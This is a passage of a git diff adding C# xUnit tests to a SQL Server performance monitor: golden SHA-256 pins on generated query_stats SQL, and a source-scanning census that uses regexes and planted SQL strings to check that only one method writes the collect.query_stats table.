+        public List<string?> StringValues { get; } = new();
+        public ICollectorRowWriter Value(string? value) { StringValues.Add(value); return this; }
+        public ICollectorRowWriter Value(long value) => this;
+        public ICollectorRowWriter Value(long? value) => this;
+        public ICollectorRowWriter Value(int value) => this;
+        public ICollectorRowWriter Value(int? value) => this;
+        public ICollectorRowWriter Value(short value) => this;
+        public ICollectorRowWriter Value(short? value) => this;
+        public ICollectorRowWriter Value(double value) => this;
+        public ICollectorRowWriter Value(double? value) => this;
+        public ICollectorRowWriter Value(decimal value) => this;
+        public ICollectorRowWriter Value(decimal? value) => this;
+        public ICollectorRowWriter Value(bool value) => this;
+        public ICollectorRowWriter Value(bool? value) => this;
+        public ICollectorRowWriter Value(DateTime value) => this;
+        public ICollectorRowWriter Value(DateTime? value) => this;
+        public ICollectorRowWriter NullValue() => this;
+    }
+
+    private sealed class DigestAwareWriter : CountingWriter, ICollectorRowWriter
+    {
+        public List<(string? Content, string? Digest)> PayloadOrDigestCalls { get; } = new();
+
+        ICollectorRowWriter ICollectorRowWriter.PayloadOrDigest(string? content, string? knownDigest)
+        {
+            PayloadOrDigestCalls.Add((content, knownDigest));
+            return this;
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStatsSqlGoldenTests.cs b/Darling/Darling.Tests/QueryStatsSqlGoldenTests.cs
new file mode 100644
index 0000000000..e766a71962
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStatsSqlGoldenTests.cs
@@ -0,0 +1,77 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Security.Cryptography;
+using System.Text;
+using PerformanceMonitor.Collectors;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Byte-for-byte pins on the full <c>query_stats</c> SQL text a host sends, so a change to the query that
+/// is not meant to move it fails loudly. Capture OFF is Lite's text: Lite never sets
+/// <see cref="CollectorContext.CapturePlanXml"/>, and its query must stay identical whatever Darling does
+/// with plan fetching (#5158). Capture ON with the fetch inline is today's Darling text. The text is
+/// hashed after normalizing line endings, because the checkout's line endings follow the platform.
+/// To move one of these on purpose, run the test and copy the actual hash from the failure message.
+/// </summary>
+public sealed class QueryStatsSqlGoldenTests
+{
+    private const string StandardCaptureOffSha256 = "84E8B903A904229A301E615818649D2C3E24F03B36812A3052F09B51085F3E72";
+    private const string AzureSqlDbCaptureOffSha256 = "239B78B45A759FD45FFC4E606F4094E79842B821751FE8A9F349C6E07A007BD5";
+    private const string StandardCaptureOnSha256 = "94933C5C62B54AE2B36DC514522C2890AB91AD38BFA92958B322B646A9968403";
+    private const string AzureSqlDbCaptureOnSha256 = "55B7EABEA53660F11453E4ACE6FA7FC8E9073BBF2731BD0EB3DAB3C74DEA6A08";
+
+    private static string Sha256Of(bool azure, bool capture)
+    {
+        var context = new CollectorContext
+        {
+            ServerId = 42,
+            ServerName = "test-server",
+            CollectionTime = new DateTime(2026, 7, 2, 12, 0, 0, DateTimeKind.Utc),
+            Deltas = new NoDeltas(),
+            Target = new CollectorTargetInfo { IsAzureSqlDb = azure },
+            CapturePlanXml = capture,
+        };
+
+        var text = QueryStatsCollector.Instance.BuildQuery(context).Text.ReplaceLineEndings("\n");
+        return Convert.ToHexString(SHA256.HashData(Encoding.UTF8.GetBytes(text)));
+    }
+
+    [Fact]
+    public void Standard_CaptureOff_IsTheLiteText_ByteForByte()
+        => Assert.Equal(StandardCaptureOffSha256, Sha256Of(azure: false, capture: false));
+
+    [Fact]
+    public void AzureSqlDb_CaptureOff_IsTheLiteText_ByteForByte()
+        => Assert.Equal(AzureSqlDbCaptureOffSha256, Sha256Of(azure: true, capture: false));
+
+    [Fact]
+    public void Standard_CaptureOn_InlineFetch_IsTodaysDarlingText_ByteForByte()
+        => Assert.Equal(StandardCaptureOnSha256, Sha256Of(azure: false, capture: true));
+
+    [Fact]
+    public void AzureSqlDb_CaptureOn_InlineFetch_IsTodaysDarlingText_ByteForByte()
+        => Assert.Equal(AzureSqlDbCaptureOnSha256, Sha256Of(azure: true, capture: true));
+
+    /// <summary>BuildQuery never reads the calculator; the context just requires one.</summary>
+    private sealed class NoDeltas : ICollectorDeltaCalculator
+    {
+        public long CalculateDelta(int serverId, string collectorName, string key, long currentValue,
+            DateTime? collectionTime = null, int maxGapSeconds = 0) => currentValue;
+
+        public long CalculateDeltaWithInterval(int serverId, string collectorName, string key, long currentValue,
+            out int intervalSeconds, DateTime? collectionTime = null, int maxGapSeconds = 0)
+        {
+            intervalSeconds = 0;
+            return currentValue;
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStatsWriterCensusPins.cs b/Darling/Darling.Tests/QueryStatsWriterCensusPins.cs
new file mode 100644
index 0000000000..0e8dd50148
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStatsWriterCensusPins.cs
@@ -0,0 +1,537 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4605: the census of everything that writes <c>collect.query_stats</c>. The hourly row-count ledger
+/// (<c>collect.query_stats_hour_ledger</c>, <see cref="QueryStatsHourLedger"/>) counts rows at ONE write: the collector
+/// runner's COPY, <c>DarlingCollectorRunner.CopyBatchOnceAsync</c>, adds each batch's non-restart count in the COPY's own
+/// transaction. The long-window count guard then compares the ledger with the rollup, per (server, hour), and takes a
+/// rollup that agrees as complete. A second writer would put rows into raw, and so into the hourly rollup, that no
+/// ledger entry accounts for. If those rows are late (below the rollup's watermark, before the next refresh) the rollup
+/// and the ledger both lack them, the guard passes, and a panel serves a rollup that is missing rows as exact. That is
+/// the unsafe case, a writer the ledger does not count whose rows the rollup also lacks, and the guard cannot see it for
+/// itself, so this census guards it for this build's code: the expected writer set is exactly
+/// <c>{CopyBatchOnceAsync}</c>, and a second writer fails here with the reason. The census reads this build's source
+/// only. It cannot see an older service that still writes raw rows into a V164 store (a rolling upgrade, or a
+/// downgrade): the guard catches those rows wherever the rollup holds them and misses them in one known case, an hour
+/// the rollup never materialized whose raw rows all came from the older service
+/// (<see cref="IntervalRollupCountGuard"/> names it).
+///
+/// <para>Three arms. (1) A literal scan of every non-test source in the service's <c>ProjectReference</c> closure (see
+/// below) for a DML verb aimed at the table. (2) Every
+/// <c>BeginBinaryImportAsync</c> site must be on a register, because the real COPY is built at run time
+/// (<c>PgCollectorRowWriter.CopyCommandFor(definition)</c> appends <c>schema.TargetTable</c>), so arm 1 cannot see it:
+/// the runner's one site over the generic definition, and the four RDS ingestors, each over its own fixed definition
+/// with a named target table that is not this one. (3) No migration rung above the ledger's own may run DML on the table.
+/// The scan must also be shown to have looked: it asserts the number of files it read and that the files it names were
+/// among them, and each arm carries a positive control.</para>
+///
+/// <para><b>What the scan covers.</b> The scan root is the service's compile closure, not a directory glob: every
+/// <c>Darling/PerformanceMonitor.*</c> project and every project those reference through a <c>ProjectReference</c>,
+/// transitively. The service and storage projects compile six root libraries into the same binary
+/// (<c>PerformanceMonitor.Alerting</c>, <c>.Analysis</c>, <c>.Collectors</c>, <c>.Common</c>, <c>.Notifications</c> and
+/// <c>.PlanAnalysis</c>; <c>QueryStatsCollector</c> itself is in <c>.Collectors</c>), and the viewer adds
+/// <c>PerformanceMonitor.Ui</c>, so a writer added to any of them is seen. The tests project is outside the closure by
+/// construction, since nothing references it.</para>
+///
+/// <para><b>Known blind spots, stated rather than implied.</b> Dynamic SQL is invisible to a text scan. Arm 2 closes the
+/// COPY path, which is how a collector writes. Run-time-built DML outside a COPY, such as <c>INSERT INTO collect.{t}</c>
+/// from a table variable, is NOT seen by arm 1, and neither is DML built by an interpolated string, a
+/// <c>StringBuilder</c> or a concatenation across literals; the writers of that shape in the tree today are the payload
+/// dimensions and the Query Store slice repair, and neither names this table. Dynamic SQL inside a migration rung is
+/// closed by <c>MigrationDataMovingRungCensusPins.TheLadderStillContainsNoDynamicSql</c>, which keeps the ladder free of
+/// it. SQL in a file that is not <c>.cs</c> is not read; none exists in these projects today (no <c>*.sql</c> file and no
+/// SQL <c>EmbeddedResource</c>). Database-side writers are not scanned: a trigger, a rule, a function or a scheduled
+/// job, including one a rung above the ledger's own creates with <c>CREATE TRIGGER</c> or <c>CREATE RULE</c>, which arm
+/// 3's verb list does not flag. A COPY reached through a method group (<c>Func&lt;...&gt; f = conn.BeginBinaryImportAsync;</c>)
+/// has no <c>(</c> after the name, so arm 2 does not see it. An UPDATE in place is invisible to the ledger as it is to
+/// the guard it feeds, so arm 1 lists UPDATE to make a new one a decision rather than an accident. Retention's DELETE is
+/// deliberately not a writer here: the guard reads no raw rows, so a row-by-row DELETE of raw shows only after the
+/// rollup refreshes over it, as a ledger above the rollup, which fails safe; retention never deletes inside a window the
+/// route takes (its window starts inside raw's retention).</para>
+/// </summary>
+public sealed class QueryStatsWriterCensusPins
+{
+    private const string RunnerFile = "PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs";
+    private const string TheWriter = "CopyBatchOnceAsync";
+    private const string TableName = "query_stats";
+    private const int LedgerRung = 164;
+
+    private const RegexOptions Opts = RegexOptions.Compiled | RegexOptions.CultureInvariant | RegexOptions.IgnoreCase;
+
+    /// <summary>
+    /// A write verb aimed at the table, in code or in a string literal (the SQL lives in literals): INSERT INTO, COPY,
+    /// UPDATE or MERGE INTO, the schema prefix optional, either part optionally quoted. Word-bounded after the name with
+    /// <c>(?![\w$])</c>, so <c>query_stats_hour_ledger</c>, <c>query_stats_interval_hourly</c> and every other
+    /// <c>query_stats_*</c> relation are not this table.
+    /// </summary>
+    private static readonly Regex s_sourceDml = new(
+        @"\b(?:INSERT\s+INTO|COPY|UPDATE|MERGE\s+INTO)\s+(?:ONLY\s+)?(?:[\\""]{0,2}collect[\\""]{0,2}\s*\.\s*)?[\\""]{0,2}" + TableName + @"[\\""]{0,2}(?![\w$])",
+        Opts);
+
+    /// <summary>The migration arm's verbs: the four above plus DELETE FROM and TRUNCATE, since a rung that removes rows
+    /// from raw is as much a decision for the ledger as one that adds them.</summary>
+    private static readonly Regex s_rungDml = new(
+        @"\b(?:INSERT\s+INTO|COPY|UPDATE|MERGE\s+INTO|DELETE\s+FROM|TRUNCATE(?:\s+TABLE)?)\s+(?:ONLY\s+)?(?:[\\""]{0,2}collect[\\""]{0,2}\s*\.\s*)?[\\""]{0,2}" + TableName + @"[\\""]{0,2}(?![\w$])",
+        Opts);
+
+    /// <summary>Every way Npgsql starts a COPY that loads rows: binary or text import, or the raw copy stream.</summary>
+    private static readonly Regex s_importSite = new(
+        @"\bBegin(?:Binary|Text)Import(?:Async)?\s*\(|\bBeginRawBinaryCopy(?:Async)?\s*\(",
+        RegexOptions.Compiled | RegexOptions.CultureInvariant);
+
+    private static readonly Regex s_copyCommandArgument = new(
+        @"^PgCollectorRowWriter\s*\.\s*CopyCommandFor\s*\(\s*(?<def>\w+)\s*\)$",
+        RegexOptions.Compiled | RegexOptions.CultureInvariant);
+
+    private static readonly Regex s_definitionDeclaration = new(
+        @"\bvar\s+definition\s*=\s*(?<expr>[\w.]+)\s*;",
+        RegexOptions.Compiled | RegexOptions.CultureInvariant);
+
+    private static readonly Regex s_copyBatchOnceDeclaration = new(
+        @"\bTask(?:<[^>(]+>)?\s+" + TheWriter + @"\s*(?:<[^>(]*>)?\s*\(",
+        RegexOptions.Compiled | RegexOptions.CultureInvariant);
+
+    /// <summary>One COPY start found in the source: where it is, what it was handed, and the definition it names.</summary>
+    internal sealed record ImportSite(string File, int Line, string Argument, string Definition, int Offset);
+
+    /// <summary>
+    /// The register of COPY sites that are NOT the runner's: each RDS ingestor copies over its own fixed collector
+    /// definition into a named table that is not <c>query_stats</c>. The table is declared here and compared with the
+    /// definition's real <c>TargetTable</c>, so a changed definition fails the fact below rather than passing quietly.
+    /// </summary>
+    private static readonly SortedDictionary<string, (string Definition, string Table, Func<string> ActualTable)> s_fixedSites =
+        new(StringComparer.Ordinal)
+        {
+            ["PerformanceMonitor.Darling.Service/Targets/RdsCpuIngestor.cs"] =
+                ("PgCpuUtilizationCollector.Instance", "pg_cpu_utilization", () => PgCpuUtilizationCollector.Instance.TargetTable),
+            ["PerformanceMonitor.Darling.Service/Targets/RdsDeadlockIngestor.cs"] =
+                ("PgDeadlocksCollector.Instance", "pg_deadlocks", () => PgDeadlocksCollector.Instance.TargetTable),
+            ["PerformanceMonitor.Darling.Service/Targets/RdsLogEventIngestor.cs"] =
+                ("PgLogEventsCollector.Instance", "pg_log_events", () => PgLogEventsCollector.Instance.TargetTable),
+            ["PerformanceMonitor.Darling.Service/Targets/RdsPlanIngestor.cs"] =
+                ("PgPlanCaptureCollector.Instance", "pg_plan_capture", () => PgPlanCaptureCollector.Instance.TargetTable),
+        };
+
+    private static string WhyItMatters(string what) =>
+        what + " The hourly row-count ledger (collect.query_stats_hour_ledger, #4605) counts non-restart rows at ONE write, "
+        + "DarlingCollectorRunner.CopyBatchOnceAsync, in the COPY's own transaction (QueryStatsHourLedger.UpsertSql). A row "
+        + "written anywhere else is in raw and in the hourly rollup but not in the ledger, and if it is late (below the "
+        + "rollup's watermark, before the next refresh) the count guard passes on a rollup that is missing it and a panel "
+        + "serves the result as exact. Count the new writer's rows into the ledger in the same transaction, or write "
+        + "through CopyBatchOnceAsync, then update this census and say why.";
+
+    /* ---------------- the scan ---------------- */
+
+    /// <summary>Every non-test source compiled into the Darling binaries: the <c>Darling/PerformanceMonitor.*</c> projects and
+    /// every project they reference, transitively (the root <c>PerformanceMonitor.*</c> libraries ship in the same service),
+    /// without <c>bin</c> and <c>obj</c>. The tests project is outside the closure because nothing references it. File keys
+    /// are <c>ProjectName/relative/path.cs</c>.</summary>
+    private static List<(string File, string Text)> LoadSources()
+    {
+        var pending = new Stack<string>(
+            Directory.EnumerateDirectories(RepoFile.PathTo("Darling"), "PerformanceMonitor.*")
+                .SelectMany(d => Directory.EnumerateFiles(d, "*.csproj")));
+        var projects = new SortedSet<string>(StringComparer.OrdinalIgnoreCase);
+        while (pending.Count > 0)
+        {
+            var csproj = Path.GetFullPath(pending.Pop());
+            if (!projects.Add(csproj))
+            {
+                continue;
+            }
+
+            foreach (Match reference in Regex.Matches(File.ReadAllText(csproj), @"<ProjectReference\s+Include=""(?<path>[^""]+)"""))
+            {
+                pending.Push(Path.Combine(
+                    Path.GetDirectoryName(csproj)!,
+                    reference.Groups["path"].Value.Replace('\\', Path.DirectorySeparatorChar)));
+            }
+        }
+
+        var sources = new List<(string File, string Text)>();
+        foreach (var csproj in projects)
+        {
+            var projectDir = Path.GetDirectoryName(csproj)!;
+            var project = Path.GetFileName(projectDir);
+            foreach (var path in Directory.EnumerateFiles(projectDir, "*.cs", SearchOption.AllDirectories))
+            {
+                var rel = Path.GetRelativePath(projectDir, path).Replace('\\', '/');
+                if (rel.StartsWith("obj/", StringComparison.Ordinal) || rel.StartsWith("bin/", StringComparison.Ordinal)
+                    || rel.Contains("/obj/", StringComparison.Ordinal) || rel.Contains("/bin/", StringComparison.Ordinal))
+                {
+                    continue;
+                }
+
+                sources.Add((project + "/" + rel, File.ReadAllText(path)));
+            }
+        }
+
+        return sources;
+    }
+
+    /// <summary>Comments blanked, string literals KEPT (the SQL lives in them), newlines preserved.</summary>
+    private static string WithoutComments(string text)
+    {
+        var mask = CSharpSourceWalker.CodeMask(text);
+        foreach (var (start, body) in CSharpSourceWalker.StringLiteralBodies(text))
+        {
+            for (var i = start; i < start + body.Length && i < mask.Length; i++)
+            {
+                mask[i] = true;
+            }
+        }
+
+        var chars = text.ToCharArray();
+        for (var i = 0; i < chars.Length; i++)
+        {
+            if (!mask[i] && chars[i] != '\n')
+            {
+                chars[i] = ' ';
+            }
+        }
+
+        return new string(chars);
+    }
+
+    private static int LineOf(string text, int offset) => 1 + text.AsSpan(0, offset).Count('\n');
+
+    /// <summary>Arm 1: every literal DML hit on the table, as <c>file:line (matched text)</c>.</summary>
+    internal static IReadOnlyList<string> FindLiteralWriters(IEnumerable<(string File, string Text)> sources)
+    {
+        var found = new List<string>();
+        foreach (var (file, text) in sources)
+        {
+            var code = WithoutComments(text);
+            foreach (Match hit in s_sourceDml.Matches(code))
+            {
+                found.Add($"{file}:{LineOf(code, hit.Index).ToString(CultureInfo.InvariantCulture)} ({Regex.Replace(hit.Value, @"\s+", " ")})");
+            }
+        }
+
+        return found;
+    }
+
+    /// <summary>Arm 2: every COPY start in CODE (comments and string literals blanked, so a method named in prose or in
+    /// an error message is not a site), with its first argument read from the original text.</summary>
+    internal static IReadOnlyList<ImportSite> FindImportSites(IEnumerable<(string File, string Text)> sources)
+    {
+        var found = new List<ImportSite>();
+        foreach (var (file, text) in sources)
+        {
+            var code = CSharpSourceWalker.StripCommentsAndStrings(text);
+            foreach (Match hit in s_importSite.Matches(code))
+            {
+                var from = hit.Index + hit.Length;
+                var depth = 0;
+                var end = code.Length;
+                for (var i = from; i < code.Length; i++)
+                {
+                    var c = code[i];
+                    if (c == '(')
+                    {
+                        depth++;
+                    }
+                    else if (c == ')' && depth-- == 0)
+                    {
+                        end = i;
+                        break;
+                    }
+                    else if (c == ',' && depth == 0)
+                    {
+                        end = i;
+                        break;
+                    }
+                }
+
+                var argument = Regex.Replace(text[from..end].Trim(), @"\s+", " ");
+                var named = s_copyCommandArgument.Match(argument);
+                found.Add(new ImportSite(file, LineOf(code, hit.Index), argument, named.Success ? named.Groups["def"].Value : string.Empty, hit.Index));
+            }
+        }
+
+        return found;
+    }
+
+    /// <summary>The offsets the runner's <c>CopyBatchOnceAsync</c> body spans in the comment-and-string-stripped code, or null.</summary>
+    private static (int Start, int End, int Declarations)? CopyBatchOnceSpan(string text)
+    {
+        var code = CSharpSourceWalker.StripCommentsAndStrings(text);
+        var declarations = s_copyBatchOnceDeclaration.Matches(code);
+        if (declarations.Count == 0)
+        {
+            return null;
+        }
+
+        var open = code.IndexOf('{', declarations[0].Index);
+        return (open, open + CSharpSourceWalker.BraceBalanced(code, open).Length, declarations.Count);
+    }
+
+    /// <summary>Names the writer a generic COPY site belongs to: the method when it is the runner's, else its file and line.</summary>
+    private static string WriterOf(ImportSite site, IReadOnlyDictionary<string, string> textByFile)
+    {
+        if (site.File == RunnerFile && CopyBatchOnceSpan(textByFile[site.File]) is { } span
+            && site.Offset > span.Start && site.Offset < span.End)
+        {
+            return TheWriter;
+        }
+
+        return $"{site.File}:{site.Line.ToString(CultureInfo.InvariantCulture)}";
+    }
+
+    /// <summary>The expected writer set, over any sources: every literal DML hit, every COPY site that is not on the fixed
+    /// register, named as the writer it is.</summary>
+    internal static SortedSet<string> WriterSet(IReadOnlyList<(string File, string Text)> sources)
+    {
+        var textByFile = sources.ToDictionary(s => s.File, s => s.Text, StringComparer.Ordinal);
+        var writers = new SortedSet<string>(FindLiteralWriters(sources), StringComparer.Ordinal);
+        foreach (var site in FindImportSites(sources))
+        {
+            if (s_fixedSites.TryGetValue(site.File, out var allowed) && site.Definition == "definition"
+                && DeclaredDefinitions(textByFile[site.File]).SequenceEqual(new[] { allowed.Definition }))
+            {
+                continue;
+            }
+
+            writers.Add(site.File == RunnerFile && site.Definition == "definition"
+                ? WriterOf(site, textByFile)
+                : $"unlisted COPY site {site.File}:{site.Line.ToString(CultureInfo.InvariantCulture)} ({site.Argument})");
+        }
+
+        return writers;
+    }
+
+    /// <summary>The expressions a file assigns to its <c>var definition</c>: the fixed definition an RDS ingestor copies over.</summary>
+    private static List<string> DeclaredDefinitions(string text) =>
+        s_definitionDeclaration.Matches(WithoutComments(text)).Select(m => m.Groups["expr"].Value).ToList();
+
+    private static string StripSqlComments(string sql) =>
+        Regex.Replace(Regex.Replace(sql, @"/\*.*?\*/", " ", RegexOptions.Singleline), @"--[^\n]*", " ");
+
+    /* ---------------- the census ---------------- */
+
+    [Fact]
+    public void TheWritersOfQueryStats_AreExactly_CopyBatchOnceAsync()
+    {
+        var sources = LoadSources();
+
+        /* The scan must have looked: a glob that moved or a read that found nothing would otherwise satisfy "no
+           second writer" for the wrong reason. The Collectors file is outside Darling/, so finding it shows the
+           ProjectReference walk followed the references into the root projects (#4605). */
+        Assert.True(sources.Count > 300, $"the census read only {sources.Count.ToString(CultureInfo.InvariantCulture)} source files; its project-reference walk no longer reaches the tree");
+        var files = sources.Select(s => s.File).ToHashSet(StringComparer.Ordinal);
+        foreach (var known in new[]
+                 {
+                     RunnerFile,
+                     "PerformanceMonitor.Darling.Service/DarlingRetention.cs",
+                     "PerformanceMonitor.Darling.Storage/PgCollectorRowWriter.cs",
+                     "PerformanceMonitor.Darling.Storage/QueryStatsHourLedger.cs",
+                     "PerformanceMonitor.Collectors/QueryStatsCollector.cs",
+                 })
+        {
+            Assert.Contains(known, files);
+        }
+
+        var writers = WriterSet(sources);
+
+        Assert.True(
+            writers.SetEquals(new[] { TheWriter }),
+            WhyItMatters(
+                "The writers of collect.query_stats must be exactly {" + TheWriter + "}. Found: {"
+                + string.Join(", ", writers) + "}."));
+    }
+
+    [Fact]
+    public void TheCopySites_AreExactlyTheRunnersAndTheFourRdsIngestors_EachOverAFixedDefinitionWithANamedTable()
+    {
+        var sources = LoadSources();
+        var sites = FindImportSites(sources);
+
+        /* The runner's one site, and one per RDS ingestor, and nothing else. */
+        var expected = new SortedSet<string>(s_fixedSites.Keys.Append(RunnerFile), StringComparer.Ordinal);
+        var actual = new SortedSet<string>(sites.Select(s => s.File), StringComparer.Ordinal);
+        Assert.True(
+            actual.SetEquals(expected),
+            WhyItMatters(
+                "Every COPY start must be on the register. Found COPY starts in: {" + string.Join(", ", actual)
+                + "}, expected: {" + string.Join(", ", expected) + "}."));
+        Assert.Equal(expected.Count, sites.Count);
+
+        var textByFile = sources.ToDictionary(s => s.File, s => s.Text, StringComparer.Ordinal);
+        foreach (var (file, allowed) in s_fixedSites)
+        {
+            /* The site copies over exactly the definition the register names, and the definition is a field of this
+               file, declared where the site can be read. */
+            var site = sites.Single(s => s.File == file);
+            Assert.Equal("definition", site.Definition);
+            var declaration = DeclaredDefinitions(textByFile[file]);
+            Assert.True(
+                declaration.SequenceEqual(new[] { allowed.Definition }),
+                WhyItMatters($"{file} must copy over `{allowed.Definition}` only, found: {string.Join(", ", declaration)}."));
+
+            /* The register's table is the definition's real target table, and is not this one. */
+            Assert.Equal(allowed.Table, allowed.ActualTable());
+            Assert.NotEqual(TableName, allowed.Table, StringComparer.OrdinalIgnoreCase);
+        }
+
+        /* The runner's site copies over the generic definition: the one that may be query_stats. */
+        var runnerSite = sites.Single(s => s.File == RunnerFile);
+        Assert.Equal("definition", runnerSite.Definition);
+        Assert.Equal("PgCollectorRowWriter.CopyCommandFor(definition)", runnerSite.Argument);
+    }
+
+    [Fact]
+    public void TheRunnersCopySite_SitsInsideCopyBatchOnceAsync_WhichIsDeclaredOnce()
+    {
+        var text = File.ReadAllText(RepoFile.PathTo("Darling", "PerformanceMonitor.Darling.Service", "DarlingCollectorRunner.cs"));
+        var span = CopyBatchOnceSpan(text);
+        Assert.True(span is not null, "DarlingCollectorRunner.CopyBatchOnceAsync is gone or renamed: the writer this census names no longer exists (#4605)");
+        Assert.Equal(1, span!.Value.Declarations);
+
+        var inRunner = FindImportSites(new[] { (RunnerFile, text) });
+        var only = Assert.Single(inRunner);
+        Assert.True(
+            only.Offset > span.Value.Start && only.Offset < span.Value.End,
+            WhyItMatters("The runner's COPY start moved out of CopyBatchOnceAsync."));
+    }
+
+    [Fact]
+    public void OnlyTheQueryStatsCollector_HasQueryStatsAsItsTargetTable()
+    {
+        /* A second definition over the same table would write it through the same runner COPY, but under another
+           payload and possibly another notion of a restart row. */
+        var definitions = CollectorCatalog.All
+            .Where(d => string.Equals(d.TargetTable, TableName, StringComparison.OrdinalIgnoreCase))
+            .Select(d => d.GetType().Name)
+            .ToList();
+
+        Assert.True(
+            definitions.SequenceEqual(new[] { nameof(QueryStatsCollector) }),
+            WhyItMatters("Exactly one collector definition may target collect.query_stats. Found: {" + string.Join(", ", definitions) + "}."));
+        Assert.Equal(TableName, QueryStatsCollector.Instance.TargetTable);
+    }
+
+    [Fact]
+    public void NoMigrationRungAboveTheLedgersOwn_RunsDmlOnQueryStats()
+    {
+        /* The ladder must reach the ledger's rung, or this arm would pass on an empty set for ever. */
+        var rung = PgMigrations.Scripts.Single(m => m.Version == LedgerRung);
+        Assert.Equal("query-stats-hour-ledger", rung.Name);
+        Assert.True(PgMigrations.Scripts.Max(m => m.Version) >= LedgerRung, "the ladder lost the ledger's rung");
+
+        var offenders = PgMigrations.Scripts
+            .Where(m => m.Version > LedgerRung)
+            .Where(m => s_rungDml.IsMatch(StripSqlComments(m.Sql)))
+            .Select(m => $"V{m.Version.ToString(CultureInfo.InvariantCulture)} ({m.Name})")
+            .ToList();
+
+        Assert.True(
+            offenders.Count == 0,
+            WhyItMatters("Rung(s) above V" + LedgerRung.ToString(CultureInfo.InvariantCulture) + " run DML on collect.query_stats: " + string.Join(", ", offenders) + "."));
+
+        /* Control on a real rung: the ledger's own, which names query_stats_hour_ledger and inserts into its state
+           table, is not a hit. The word boundary is what keeps that true. */
+        Assert.False(s_rungDml.IsMatch(StripSqlComments(rung.Sql)), "the word boundary no longer separates query_stats from query_stats_hour_ledger");
+    }
+
+    /* ---------------- the detectors, on fabricated sources ---------------- */
+
+    [Theory]
+    [InlineData("var sql = \"INSERT INTO collect.query_stats (a) VALUES (1)\";")]
+    [InlineData("var sql = @\"insert   into\r\n query_stats (a) values (1)\";")]
+    [InlineData("var sql = \"COPY collect.query_stats (a) FROM STDIN (FORMAT BINARY)\";")]
+    [InlineData("var sql = \"UPDATE collect.query_stats SET sample_interval_seconds = 0\";")]
+    [InlineData("var sql = \"UPDATE ONLY query_stats SET a = 1\";")]
+    [InlineData("var sql = \"MERGE INTO collect.query_stats AS t USING x ON t.a = x.a\";")]
+    [InlineData("var sql = \"INSERT INTO \\\"collect\\\".\\\"query_stats\\\" (a) VALUES (1)\";")]
+    public void TheLiteralScan_FindsAPlantedWriter_AndNamesItsFileAndLine(string line)
+    {
+        var found = FindLiteralWriters(new[] { ("PerformanceMonitor.Darling.Service/Planted.cs", "// header\r\n" + line) });
+
+        var hit = Assert.Single(found);
+        Assert.StartsWith("PerformanceMonitor.Darling.Service/Planted.cs:2 (", hit, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("var sql = \"INSERT INTO collect.query_stats_hour_ledger (a) VALUES (1)\";")]
+    [InlineData("var sql = \"UPDATE collect.query_stats_hour_ledger_state SET a = 1\";")]
+    [InlineData("var sql = \"COPY collect.query_stats_interval_hourly FROM STDIN\";")]
+    [InlineData("var sql = \"SELECT count(*) FROM collect.query_stats WHERE a = 1\";")]
+    [InlineData("var sql = \"DELETE FROM collect.query_stats WHERE collection_time < $1\";")]
+    [InlineData("// INSERT INTO collect.query_stats is described here, not run\r\nvar x = 1;")]
+    [InlineData("/* COPY query_stats */ var x = 1;")]
+    public void TheLiteralScan_IgnoresOtherTables_ReadsRetentionDeletesAndProse(string line)
+    {
+        Assert.Empty(FindLiteralWriters(new[] { ("Fake.cs", line) }));
+    }
+
+    [Fact]
+    public void TheCopyScan_FindsAnUnlistedSite_NamesItsArgument_AndIgnoresProseAndStrings()
+    {
+        var sites = FindImportSites(new[]
+        {
+            ("A.cs", "using var i = await connection.BeginBinaryImportAsync(\r\n    PgCollectorRowWriter.CopyCommandFor(QueryStatsCollector.Instance), token);"),
+            ("B.cs", "using var i = c.BeginTextImport(\"COPY collect.query_stats FROM STDIN\");"),
+            ("C.cs", "// BeginBinaryImportAsync is named in prose\r\nvar m = \"the BeginBinaryImportAsync call\";"),
+        });
+
+        Assert.Equal(2, sites.Count);
+        Assert.Equal("PgCollectorRowWriter.CopyCommandFor(QueryStatsCollector.Instance)", sites[0].Argument);
+        Assert.Equal(string.Empty, sites[0].Definition);
+        Assert.Equal("\"COPY collect.query_stats FROM STDIN\"", sites[1].Argument);
+
+        var writers = WriterSet(new[]
+        {
+            ("PerformanceMonitor.Darling.Service/Targets/Planted.cs", "using var i = await c.BeginBinaryImportAsync(PgCollectorRowWriter.CopyCommandFor(definition), t);"),
+        });
+        Assert.Contains(writers, w => w.StartsWith("unlisted COPY site PerformanceMonitor.Darling.Service/Targets/Planted.cs:1", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public void TheMigrationArm_CatchesDmlOnTheTable_InEveryVerb_AndNothingElse()
+    {
+        foreach (var sql in new[]
+                 {
+                     "INSERT INTO collect.query_stats (a) SELECT 1;",
+                     "UPDATE query_stats SET a = 1;",
+                     "DELETE FROM collect.query_stats WHERE a = 1;",
+                     "TRUNCATE TABLE collect.query_stats;",
+                     "TRUNCATE query_stats;",
+                     "MERGE INTO collect.query_stats t USING x ON true WHEN MATCHED THEN DELETE;",
+                     "COPY collect.query_stats FROM STDIN;",
+                 })
+        {
+            Assert.Matches(s_rungDml, StripSqlComments(sql));
+        }
+
+        foreach (var sql in new[]
+                 {
+                     "INSERT INTO collect.query_stats_hour_ledger_state (id) VALUES (1);",
+                     "UPDATE collect.query_stats_hour_ledger SET n = 1;",
+                     "SELECT * FROM collect.query_stats;",
+                     "CREATE INDEX IF NOT EXISTS ix ON collect.query_stats (a);",
+                     "-- INSERT INTO collect.query_stats is only a comment\nSELECT 1;",
+                     "/* DELETE FROM query_stats */ SELECT 1;",
+                 })
+        {
